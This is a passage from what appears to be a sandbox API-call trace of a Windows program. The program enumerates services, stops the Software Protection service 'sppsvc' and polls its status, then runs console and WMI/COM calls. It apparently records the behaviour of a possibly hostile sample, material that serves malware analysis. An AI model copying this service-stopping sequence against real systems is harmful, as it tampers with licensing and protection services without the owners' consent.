ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.745] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.745] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.746] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.746] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.747] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.748] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.748] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.748] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.749] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.750] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.750] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.750] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.752] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.752] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.752] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.752] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.754] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.755] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.755] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.755] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.757] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0140.758] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.758] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.758] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.760] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.760] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.761] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.761] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.763] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.763] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.763] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.763] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.765] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.766] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.766] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.766] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.768] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.768] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.769] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.769] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.772] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0140.772] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.772] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.772] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0143.222] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x321d6e0 [0143.222] OpenServiceW (hSCManager=0x321d6e0, lpServiceName="sppsvc", dwDesiredAccess=0x8) returned 0x321d6b8 [0143.222] EnumDependentServicesW (in: hService=0x321d6b8, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e0fc, lpServicesReturned=0x893e0f8 | out: lpServices=0x0, pcbBytesNeeded=0x893e0fc, lpServicesReturned=0x893e0f8) returned 1 [0143.222] CloseServiceHandle (hSCObject=0x321d6b8) returned 1 [0143.222] OpenServiceW (hSCManager=0x321d6e0, lpServiceName="sppsvc", dwDesiredAccess=0x20) returned 0x321d7f8 [0143.223] ControlService (in: hService=0x321d7f8, dwControl=0x1, lpServiceStatus=0x893e0e4 | out: lpServiceStatus=0x893e0e4*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x1, dwWaitHint=0x4e20)) returned 1 [0147.574] CloseServiceHandle (hSCObject=0x321d7f8) returned 1 [0147.574] OpenServiceW (hSCManager=0x321d6e0, lpServiceName="sppsvc", dwDesiredAccess=0x4) returned 0x321d7f8 [0147.574] QueryServiceStatus (in: hService=0x321d7f8, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x1, dwWaitHint=0x4e20)) returned 1 [0147.574] CloseServiceHandle (hSCObject=0x321d7f8) returned 1 [0147.575] SleepEx (dwMilliseconds=0xfa, bAlertable=1) returned 0x0 [0147.979] OpenServiceW (hSCManager=0x321d6e0, lpServiceName="sppsvc", dwDesiredAccess=0x4) returned 0x321d6b8 [0147.979] QueryServiceStatus (in: hService=0x321d6b8, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x1, dwWaitHint=0x4e20)) returned 1 [0147.979] CloseServiceHandle (hSCObject=0x321d6b8) returned 1 [0147.980] SleepEx (dwMilliseconds=0xfa, bAlertable=1) returned 0x0 [0148.532] OpenServiceW (hSCManager=0x321d6e0, lpServiceName="sppsvc", dwDesiredAccess=0x4) returned 0x321d6b8 [0148.533] QueryServiceStatus (in: hService=0x321d6b8, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x1, dwWaitHint=0x4e20)) returned 1 [0148.533] CloseServiceHandle (hSCObject=0x321d6b8) returned 1 [0148.533] SleepEx (dwMilliseconds=0xfa, bAlertable=1) returned 0x0 [0149.271] OpenServiceW (hSCManager=0x321d6e0, lpServiceName="sppsvc", dwDesiredAccess=0x4) returned 0x321d6b8 [0149.277] QueryServiceStatus (in: hService=0x321d6b8, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x1, dwWaitHint=0x4e20)) returned 1 [0149.277] CloseServiceHandle (hSCObject=0x321d6b8) returned 1 [0149.277] SleepEx (dwMilliseconds=0xfa, bAlertable=1) returned 0x0 [0149.744] OpenServiceW (hSCManager=0x321d6e0, lpServiceName="sppsvc", dwDesiredAccess=0x4) returned 0x321d6b8 [0149.744] QueryServiceStatus (in: hService=0x321d6b8, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x1, dwWaitHint=0x4e20)) returned 1 [0149.744] CloseServiceHandle (hSCObject=0x321d6b8) returned 1 [0149.747] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893dedc | out: lpConsoleScreenBufferInfo=0x893dedc) returned 1 [0150.765] GetConsoleOutputCP () returned 0x1b5 [0151.438] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0151.438] GetConsoleOutputCP () returned 0x1b5 [0152.348] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0152.348] GetConsoleOutputCP () returned 0x1b5 [0153.580] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0153.580] GetConsoleOutputCP () returned 0x1b5 [0154.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0154.044] GetConsoleOutputCP () returned 0x1b5 [0154.445] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0154.445] GetConsoleOutputCP () returned 0x1b5 [0155.421] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0155.422] GetConsoleOutputCP () returned 0x1b5 [0155.839] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0155.840] GetConsoleOutputCP () returned 0x1b5 [0156.543] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0156.543] GetConsoleOutputCP () returned 0x1b5 [0157.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0157.338] GetConsoleOutputCP () returned 0x1b5 [0158.046] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0158.046] GetConsoleOutputCP () returned 0x1b5 [0159.000] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0159.000] GetConsoleOutputCP () returned 0x1b5 [0160.044] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0160.044] GetConsoleOutputCP () returned 0x1b5 [0160.718] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0160.718] GetConsoleOutputCP () returned 0x1b5 [0161.669] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0161.669] GetConsoleOutputCP () returned 0x1b5 [0162.517] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0162.517] GetConsoleOutputCP () returned 0x1b5 [0163.153] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0163.153] GetConsoleOutputCP () returned 0x1b5 [0163.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x893dd60, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x893dd60) returned 0 [0163.796] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893dee0 | out: lpConsoleScreenBufferInfo=0x893dee0) returned 1 [0164.474] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893dee0 | out: lpConsoleScreenBufferInfo=0x893dee0) returned 1 [0165.271] GetConsoleScreenBufferInfo (hConsoleOutput=0x714, lpConsoleScreenBufferInfo=0x893dee8) Thread: id = 114 os_tid = 0xfb0 Thread: id = 116 os_tid = 0x524 [0118.708] CoGetContextToken (in: pToken=0x89bf6d4 | out: pToken=0x89bf6d4) returned 0x0 [0118.708] CObjectContext::QueryInterface () returned 0x0 [0118.708] CObjectContext::GetCurrentThreadType () returned 0x0 [0118.708] Release () returned 0x0 [0118.708] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0118.708] RoInitialize () returned 0x1 [0118.708] RoUninitialize () returned 0x0 [0118.708] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0118.709] SleepEx (dwMilliseconds=0x2710, bAlertable=1) returned 0x0 [0128.771] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) Thread: id = 117 os_tid = 0x364 Thread: id = 126 os_tid = 0xf88 Thread: id = 127 os_tid = 0xfa0 [0123.100] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.100] RoInitialize () returned 0x1 [0123.101] RoUninitialize () returned 0x0 [0123.123] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x8b4f14c | out: lpiid=0x8b4f14c) returned 0x0 [0123.124] CoGetClassObject (in: rclsid=0x797f44c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x72e5b24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x8b4ee58 | out: ppv=0x8b4ee58*=0x79fdd80) returned 0x0 [0123.520] WbemDefPath:IUnknown:QueryInterface (in: This=0x79fdd80, riid=0x72ea9e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x8b4f074 | out: ppvObject=0x8b4f074*=0x0) returned 0x80004002 [0123.520] WbemDefPath:IClassFactory:CreateInstance (in: This=0x79fdd80, pUnkOuter=0x0, riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8b4f080 | out: ppvObject=0x8b4f080*=0x314d2c0) returned 0x0 [0123.520] WbemDefPath:IUnknown:Release (This=0x79fdd80) returned 0x0 [0123.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x314d2c0, riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8b4eca4 | out: ppvObject=0x8b4eca4*=0x314d2c0) returned 0x0 [0123.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x314d2c0, riid=0x72e50328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x8b4ec60 | out: ppvObject=0x8b4ec60*=0x0) returned 0x80004002 [0123.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x314d2c0, riid=0x72e50490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x8b4e854 | out: ppvObject=0x8b4e854*=0x0) returned 0x80004002 [0123.521] WbemDefPath:IUnknown:AddRef (This=0x314d2c0) returned 0x3 [0123.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x314d2c0, riid=0x72e50074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x8b4e5b4 | out: ppvObject=0x8b4e5b4*=0x0) returned 0x80004002 [0123.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x314d2c0, riid=0x72e4ffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x8b4e564 | out: ppvObject=0x8b4e564*=0x0) returned 0x80004002 [0123.521] WbemDefPath:IUnknown:QueryInterface (in: This=0x314d2c0, riid=0x72d97604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x8b4e570 | out: ppvObject=0x8b4e570*=0x77d6070) returned 0x0 [0123.521] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x77d6070, riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, 